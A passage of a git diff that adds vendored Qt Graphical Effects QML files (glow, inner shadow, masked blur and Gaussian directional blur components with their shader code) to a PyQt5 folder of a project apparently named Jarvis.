w5 = weight(Math.abs(lod - 0.900)) + var w6 = weight(Math.abs(lod - 1.100)) + + var sum = w1 + w2 + w3 + w4 + w5 + w6; + weight1 = w1 / sum; + weight2 = w2 / sum; + weight3 = w3 / sum; + weight4 = w4 / sum; + weight5 = w5 / sum; + weight6 = w6 / sum; + + upateSources() + } + + function upateSources() { + var sources = new Array(); + var weights = new Array(); + + if (weight1 > 0) { + sources.push(level1) + weights.push(weight1) + } + + if (weight2 > 0) { + sources.push(level2) + weights.push(weight2) + } + + if (weight3 > 0) { + sources.push(level3) + weights.push(weight3) + } + + if (weight4 > 0) { + sources.push(level4) + weights.push(weight4) + } + + if (weight5 > 0) { + sources.push(level5) + weights.push(weight5) + } + + if (weight6 > 0) { + sources.push(level6) + weights.push(weight6) + } + + for (var j = sources.length; j < 6; j++) { + sources.push(dummy) + weights.push(0.0) + } + + source1 = sources[0] + source2 = sources[1] + source3 = sources[2] + source4 = sources[3] + source5 = sources[4] + source6 = sources[5] + + weight1 = weights[0] + weight2 = weights[1] + weight3 = weights[2] + weight4 = weights[3] + weight5 = weights[4] + weight6 = weights[5] + } + + Component.onCompleted: calculateWeights() + + onLodChanged: calculateWeights() + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastglow.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastGlow.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastGlow.qmlc new file mode 100644 index 00000000..e445439a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastGlow.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastInnerShadow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastInnerShadow.qml new file mode 100644 index 00000000..bd361ca7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastInnerShadow.qml @@ -0,0 +1,335 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +Item { + id: rootItem + property variant source + property real blur: 0.0 + property real horizontalOffset: 0 + property real verticalOffset: 0 + property real spread: 0.0 + property color color: "black" + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + property string __internalBlurVertexShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastblur_internal.vert" + + property string __internalBlurFragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastblur_internal.frag" + + ShaderEffect { + id: level0 + property variant source: sourceProxy.output + property real horizontalOffset: rootItem.horizontalOffset / rootItem.width + property real verticalOffset: rootItem.verticalOffset / rootItem.width + property color color: rootItem.color + + anchors.fill: parent + visible: false + smooth: true + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastinnershadow_level0.frag" + } + + ShaderEffectSource { + id: level1 + width: Math.ceil(shaderItem.width / 32) * 32 + height: Math.ceil(shaderItem.height / 32) * 32 + sourceItem: level0 + hideSource: rootItem.visible + smooth: true + visible: false + } + + ShaderEffect { + id: effect1 + property variant source: level1 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level2 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level2 + width: level1.width / 2 + height: level1.height / 2 + sourceItem: effect1 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect2 + property variant source: level2 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level3 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level3 + width: level2.width / 2 + height: level2.height / 2 + sourceItem: effect2 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect3 + property variant source: level3 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level4 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level4 + width: level3.width / 2 + height: level3.height / 2 + sourceItem: effect3 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect4 + property variant source: level4 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level5 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level5 + width: level4.width / 2 + height: level4.height / 2 + sourceItem: effect4 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect5 + property variant source: level5 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level6 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level6 + width: level5.width / 2 + height: level5.height / 2 + sourceItem: effect5 + hideSource: rootItem.visible + visible: false + smooth: true + } + + Item { + id: dummysource + width: 1 + height: 1 + visible: false + } + + ShaderEffectSource { + id: dummy + width: 1 + height: 1 + sourceItem: dummysource + visible: false + smooth: false + live: false + } + + ShaderEffect { + id: shaderItem + width: parent.width + height: parent.height + + property variant original: sourceProxy.output + property variant source1: level1 + property variant source2: level2 + property variant source3: level3 + property variant source4: level4 + property variant source5: level5 + property variant source6: level6 + property real lod: rootItem.blur + + property real weight1; + property real weight2; + property real weight3; + property real weight4; + property real weight5; + property real weight6; + + property real spread: 1.0 - (rootItem.spread * 0.98) + property color color: rootItem.color + + function weight(v) { + if (v <= 0.0) + return 1 + if (v >= 0.5) + return 0 + + return 1.0 - v / 0.5 + } + + function calculateWeights() { + + var w1 = weight(Math.abs(lod - 0.100)) + var w2 = weight(Math.abs(lod - 0.300)) + var w3 = weight(Math.abs(lod - 0.500)) + var w4 = weight(Math.abs(lod - 0.700)) + var w5 = weight(Math.abs(lod - 0.900)) + var w6 = weight(Math.abs(lod - 1.100)) + + var sum = w1 + w2 + w3 + w4 + w5 + w6; + weight1 = w1 / sum; + weight2 = w2 / sum; + weight3 = w3 / sum; + weight4 = w4 / sum; + weight5 = w5 / sum; + weight6 = w6 / sum; + + upateSources() + } + + function upateSources() { + var sources = new Array(); + var weights = new Array(); + + if (weight1 > 0) { + sources.push(level1) + weights.push(weight1) + } + + if (weight2 > 0) { + sources.push(level2) + weights.push(weight2) + } + + if (weight3 > 0) { + sources.push(level3) + weights.push(weight3) + } + + if (weight4 > 0) { + sources.push(level4) + weights.push(weight4) + } + + if (weight5 > 0) { + sources.push(level5) + weights.push(weight5) + } + + if (weight6 > 0) { + sources.push(level6) + weights.push(weight6) + } + + for (var j = sources.length; j < 6; j++) { + sources.push(dummy) + weights.push(0.0) + } + + source1 = sources[0] + source2 = sources[1] + source3 = sources[2] + source4 = sources[3] + source5 = sources[4] + source6 = sources[5] + + weight1 = weights[0] + weight2 = weights[1] + weight3 = weights[2] + weight4 = weights[3] + weight5 = weights[4] + weight6 = weights[5] + } + + Component.onCompleted: calculateWeights() + + onLodChanged: calculateWeights() + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastinnershadow.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastInnerShadow.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastInnerShadow.qmlc new file mode 100644 index 00000000..8f65102a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastInnerShadow.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastMaskedBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastMaskedBlur.qml new file mode 100644 index 00000000..56800c65 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastMaskedBlur.qml @@ -0,0 +1,247 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +Item { + id: rootItem + property variant source + property variant maskSource + property real blur: 0.0 + property bool transparentBorder: false + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + } + + SourceProxy { + id: maskSourceProxy + input: rootItem.maskSource + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + sourceItem: shaderItem + live: true + hideSource: visible + smooth: rootItem.blur > 0 + } + + property string __internalBlurVertexShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastblur_internal.vert" + + property string __internalBlurFragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastblur_internal.frag" + + ShaderEffect { + id: mask0 + property variant source: maskSourceProxy.output + anchors.fill: parent + visible: false + smooth: true + } + + ShaderEffectSource { + id: masklevel1 + width: Math.ceil(shaderItem.width / 32) * 32 + height: Math.ceil(shaderItem.height / 32) * 32 + sourceItem: mask0 + hideSource: rootItem.visible + sourceRect: transparentBorder ? Qt.rect(-64, -64, shaderItem.width, shaderItem.height) : Qt.rect(0, 0, 0, 0) + visible: false + smooth: rootItem.blur > 0 + } + + ShaderEffect { + id: level0 + property variant source: sourceProxy.output + anchors.fill: parent + visible: false + smooth: true + } + + ShaderEffectSource { + id: level1 + width: Math.ceil(shaderItem.width / 32) * 32 + height: Math.ceil(shaderItem.height / 32) * 32 + sourceItem: level0 + hideSource: rootItem.visible + sourceRect: transparentBorder ? Qt.rect(-64, -64, shaderItem.width, shaderItem.height) : Qt.rect(0, 0, 0, 0) + visible: false + smooth: rootItem.blur > 0 + } + + ShaderEffect { + id: effect1 + property variant source: level1 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level2 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level2 + width: level1.width / 2 + height: level1.height / 2 + sourceItem: effect1 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect2 + property variant source: level2 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level3 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level3 + width: level2.width / 2 + height: level2.height / 2 + sourceItem: effect2 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect3 + property variant source: level3 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level4 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level4 + width: level3.width / 2 + height: level3.height / 2 + sourceItem: effect3 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect4 + property variant source: level4 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level5 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level5 + width: level4.width / 2 + height: level4.height / 2 + sourceItem: effect4 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect5 + property variant source: level5 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level6 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level6 + width: level5.width / 2 + height: level5.height / 2 + sourceItem: effect5 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: shaderItem + property variant mask: masklevel1 + property variant source1: level1 + property variant source2: level2 + property variant source3: level3 + property variant source4: level4 + property variant source5: level5 + property variant source6: level6 + property real lod: Math.sqrt(rootItem.blur) * 1.2 - 0.2 + property real weight1 + property real weight2 + property real weight3 + property real weight4 + property real weight5 + property real weight6 + + x: transparentBorder ? -64 : 0 + y: transparentBorder ? -64 : 0 + width: transparentBorder ? parent.width + 128 : parent.width + height: transparentBorder ? parent.height + 128 : parent.height + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastmaskedblur.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastMaskedBlur.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastMaskedBlur.qmlc new file mode 100644 index 00000000..cdb6bb36 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastMaskedBlur.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianDirectionalBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianDirectionalBlur.qml new file mode 100644 index 00000000..4d52b2ed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianDirectionalBlur.qml @@ -0,0 +1,289 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +Item { + id: rootItem + property variant source + property real deviation: (radius + 1) / 3.3333 + property real radius: 0.0 + property int maximumRadius: 0 + property real horizontalStep: 0.0 + property real verticalStep: 0.0 + property bool transparentBorder: false + property bool cached: false + + property bool enableColor: false + property color color: "white" + property real spread: 0.0 + + property bool enableMask: false + property variant maskSource + + SourceProxy { + id: sourceProxy + input: rootItem.source + } + + SourceProxy { + id: maskSourceProxy + input: rootItem.maskSource + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: rootItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property real deviation: Math.max(0.1, rootItem.deviation) + property real radius: rootItem.radius + property int maxRadius: rootItem.maximumRadius + property bool transparentBorder: rootItem.transparentBorder + property real gaussianSum: 0.0 + property real startIndex: 0.0 + property real deltaFactor: (2 * radius - 1) / (maxRadius * 2 - 1) + property real expandX: transparentBorder && rootItem.horizontalStep > 0 ? maxRadius / width : 0.0 + property real expandY: transparentBorder && rootItem.verticalStep > 0 ? maxRadius / height : 0.0 + property variant gwts: [] + property variant delta: Qt.vector3d(rootItem.horizontalStep * deltaFactor, rootItem.verticalStep * deltaFactor, startIndex); + property variant factor_0_2: Qt.vector3d(gwts[0], gwts[1], gwts[2]); + property variant factor_3_5: Qt.vector3d(gwts[3], gwts[4], gwts[5]); + property variant factor_6_8: Qt.vector3d(gwts[6], gwts[7], gwts[8]); + property variant factor_9_11: Qt.vector3d(gwts[9], gwts[10], gwts[11]); + property variant factor_12_14: Qt.vector3d(gwts[12], gwts[13], gwts[14]); + property variant factor_15_17: Qt.vector3d(gwts[15], gwts[16], gwts[17]); + property variant factor_18_20: Qt.vector3d(gwts[18], gwts[19], gwts[20]); + property variant factor_21_23: Qt.vector3d(gwts[21], gwts[22], gwts[23]); + property variant factor_24_26: Qt.vector3d(gwts[24], gwts[25], gwts[26]); + property variant factor_27_29: Qt.vector3d(gwts[27], gwts[28], gwts[29]); + property variant factor_30_31: Qt.point(gwts[30], gwts[31]); + + property color color: rootItem.color + property real spread: 1.0 - (rootItem.spread * 0.98) + property variant maskSource: maskSourceProxy.output + + anchors.fill: rootItem + + function gausFunc(x){ + //Gaussian function = h(x):=(1/sqrt(2*3.14159*(D^2))) * %e^(-(x^2)/(2*(D^2))); + return (1.0 / Math.sqrt(2 * Math.PI * (Math.pow(shaderItem.deviation, 2)))) * Math.pow(Math.E, -((Math.pow(x, 2)) / (2 * (Math.pow(shaderItem.deviation, 2))))); + } + + function updateGaussianWeights() { + gaussianSum = 0.0; + startIndex = -maxRadius + 0.5 + + var n = new Array(32); + for (var j = 0; j < 32; j++) + n[j] = 0; + + var max = maxRadius * 2 + var delta = (2 * radius - 1) / (max - 1); + for (var i = 0; i < max; i++) { + n[i] = gausFunc(-radius + 0.5 + i * delta); + gaussianSum += n[i]; + } + + gwts = n; + } + + function buildFragmentShader() { + + var shaderSteps = [ + "gl_FragColor += texture2D(source, texCoord) * factor_0_2.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_0_2.y; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_0_2.z; texCoord += shift;", + + "gl_FragColor += texture2D(source, texCoord) * factor_3_5.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_3_5.y; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_3_5.z; texCoord += shift;", + + "gl_FragColor += texture2D(source, texCoord) * factor_6_8.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_6_8.y; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_6_8.z; texCoord += shift;", + + "gl_FragColor += texture2D(source, texCoord) * factor_9_11.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_9_11.y; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_9_11.z; texCoord += shift;", + + "gl_FragColor += texture2D(source, texCoord) * factor_12_14.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_12_14.y; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_12_14.z; texCoord += shift;", + + "gl_FragColor += texture2D(source, texCoord) * factor_15_17.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_15_17.y; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_15_17.z; texCoord += shift;", + + "gl_FragColor += texture2D(source, texCoord) * factor_18_20.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_18_20.y; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_18_20.z; texCoord += shift;", + + "gl_FragColor += texture2D(source, texCoord) * factor_21_23.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_21_23.y; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_21_23.z; texCoord += shift;", + + "gl_FragColor += texture2D(source, texCoord) * factor_24_26.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_24_26.y; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_24_26.z; texCoord += shift;", + + "gl_FragColor += texture2D(source, texCoord) * factor_27_29.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_27_29.y; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_27_29.z; texCoord += shift;", + + "gl_FragColor += texture2D(source, texCoord) * factor_30_31.x; texCoord += shift;", + "gl_FragColor += texture2D(source, texCoord) * factor_30_31.y; texCoord += shift;" + ] + + var shader = "" + if (GraphicsInfo.profile == GraphicsInfo.OpenGLCoreProfile) + shader += "#version 150 core\n#define varying in\n#define gl_FragColor fragColor\n#define texture2D texture\nout vec4 fragColor;\n" + shader += fragmentShaderBegin + var samples = maxRadius * 2 + if (samples > 32) { + console.log("DirectionalGaussianBlur.qml WARNING: Maximum of blur radius (16) exceeded!") + samples = 32 + } + + for (var i = 0; i < samples; i++) { + shader += shaderSteps[i] + } + + shader += fragmentShaderEnd + + var colorizeSteps = "" + var colorizeUniforms = "" + + var maskSteps = "" + var maskUniforms = "" + + if (enableColor) { + colorizeSteps += "gl_FragColor = mix(vec4(0), color, clamp((gl_FragColor.a - 0.0) / (spread - 0.0), 0.0, 1.0));\n" + colorizeUniforms += "uniform highp vec4 color;\n" + colorizeUniforms += "uniform highp float spread;\n" + } + + if (enableMask) { + maskSteps += "shift *= texture2D(maskSource, qt_TexCoord0).a;\n" + maskUniforms += "uniform sampler2D maskSource;\n" + } + + shader = shader.replace("PLACEHOLDER_COLORIZE_STEPS", colorizeSteps) + shader = shader.replace("PLACEHOLDER_COLORIZE_UNIFORMS", colorizeUniforms) + shader = shader.replace("PLACEHOLDER_MASK_STEPS", maskSteps) + shader = shader.replace("PLACEHOLDER_MASK_UNIFORMS", maskUniforms) + + fragmentShader = shader + } + + onDeviationChanged: updateGaussianWeights() + + onRadiusChanged: updateGaussianWeights() + + onTransparentBorderChanged: { + buildFragmentShader() + updateGaussianWeights() + } + + onMaxRadiusChanged: { + buildFragmentShader() + updateGaussianWeights() + } + + Component.onCompleted: { + buildFragmentShader() + updateGaussianWeights() + } + + property string fragmentShaderBegin: " + varying mediump vec2 qt_TexCoord0; + uniform highp float qt_Opacity; + uniform lowp sampler2D source; + uniform highp vec3 delta; + uniform highp vec3 factor_0_2; + uniform highp vec3 factor_3_5; + uniform highp vec3 factor_6_8; + uniform highp vec3 factor_9_11; + uniform highp vec3 factor_12_14; + uniform highp vec3 factor_15_17; + uniform highp vec3 factor_18_20; + uniform highp vec3 factor_21_23; + uniform highp vec3 factor_24_26; + uniform highp vec3 factor_27_29; + uniform highp vec3 factor_30_31; + uniform highp float gaussianSum; + uniform highp float expandX; + uniform highp float expandY; + PLACEHOLDER_MASK_UNIFORMS + PLACEHOLDER_COLORIZE_UNIFORMS + + void main() { + highp vec2 shift = vec2(delta.x, delta.y); + + PLACEHOLDER_MASK_STEPS + + highp float index = delta.z; + mediump vec2 texCoord = qt_TexCoord0; + texCoord.s = (texCoord.s - expandX) / (1.0 - 2.0 * expandX); + texCoord.t = (texCoord.t - expandY) / (1.0 - 2.0 * expandY); + texCoord += (shift * index); + + gl_FragColor = vec4(0.0, 0.0, 0.0, 0.0); + " + + property string fragmentShaderEnd: " + + gl_FragColor /= gaussianSum; + + PLACEHOLDER_COLORIZE_STEPS + + gl_FragColor *= qt_Opacity; + } + " + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianDirectionalBlur.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianDirectionalBlur.qmlc new file mode 100644 index 00000000..afbb4a0b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianDirectionalBlur.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianGlow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianGlow.qml new file mode 100644 index 00000000..f0d328ac --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianGlow.qml @@ -0,0 +1,98 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +Item { + id: rootItem + property variant source + property real radius: 0.0 + property int maximumRadius: 0 + property real spread: 0.0 + property color color: "white" + property bool cached: false + property bool transparentBorder: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + sourceRect: rootItem.transparentBorder ? Qt.rect(-1, -1, parent.width + 2.0, parent.height + 2.0) : Qt.rect(0, 0, 0, 0) + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + GaussianDirectionalBlur { + id: shaderItem + x: transparentBorder ? -maximumRadius - 1 : 0 + y: transparentBorder ? -maximumRadius - 1 : 0 + width: horizontalBlur.width + height: horizontalBlur.height + horizontalStep: 0.0 + verticalStep: 1.0 / parent.height + source: horizontalBlur + radius: rootItem.radius + maximumRadius: rootItem.maximumRadius + transparentBorder: rootItem.transparentBorder + enableColor: true + color: rootItem.color + spread: rootItem.spread + } + + GaussianDirectionalBlur { + id: horizontalBlur + width: transparentBorder ? parent.width + 2 * maximumRadius + 2 : parent.width + height: transparentBorder ? parent.height + 2 * maximumRadius + 2 : parent.height + horizontalStep: 1.0 / parent.width + verticalStep: 0.0 + source: sourceProxy.output + radius: rootItem.radius + maximumRadius: rootItem.maximumRadius + transparentBorder: rootItem.transparentBorder + visible: false + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianGlow.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianGlow.qmlc new file mode 100644 index 00000000..ae40f470 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianGlow.qmlc differ diff --git 